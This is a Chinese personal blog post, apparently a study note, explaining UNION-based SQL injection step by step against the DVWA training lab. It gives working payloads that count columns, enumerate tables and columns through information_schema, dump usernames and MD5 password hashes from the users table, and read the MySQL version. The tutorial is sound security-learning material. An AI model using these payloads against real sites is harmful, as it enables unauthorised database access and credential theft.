kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读

SQL注入


avatar
11 2026年6月1日 16

一、联合查询注入(Union 注入)

  • 条件:页面能直接显示查询结果
  • 原理:用 UNION 把恶意查询结果拼到正常结果里。
  • 例子:

1.测原查询有几列(字段数):SELECT … WHERE id=’1′ ORDER BY 2#

  • ORDER BY 2:按第 2 列排序
  • 页面正常 → 至少有 2 列
  • 你再试 ORDER BY 3 会报错 → 只有 2 列

2.拿到「当前数据库名」:1′ UNION SELECT 1,database()#

  • UNION:把两个查询结果合并(列数要一样:2 列)
  • database():MySQL 函数,返回当前正在用的库名

3.列出当前库(dvwa)里的所有「表名」:1′ UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database()#

  • information_schema:MySQL 系统库,存所有库 / 表 / 字段的元数据
  • information_schema.tables:系统表,记录所有表信息
  • table_schema=database():只查 当前库(dvwa) 的表
  • table_name:表名字段(你拿到 users 等)

4.列出 users 表里所有「字段名」:1′ UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=’users’ AND table_schema=database()#

  • information_schema.columns:系统表,记录所有字段信息
  • information_schema.tables:系统表,记录所有表信息
  • table_name='users':指定表
  • column_name:字段名(你看到:user, password…)

5.直接拖库 —— 拿到「所有用户名 + 密码哈希」:1′ UNION SELECT user,password FROM dvwa.users#

  • 第 1 列回显:user(账号:admin、gordonb…)
  • 第 2 列回显:password(MD5 哈希)

6.拿到「MySQL 版本号」:1′ UNION SELECT 1,VERSION()#

  • VERSION():MySQL 函数,返回数据库版本(如 5.7.x/ 8.0.x)
  • 同样用 2 列1(占位)+ VERSION()(版本)



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码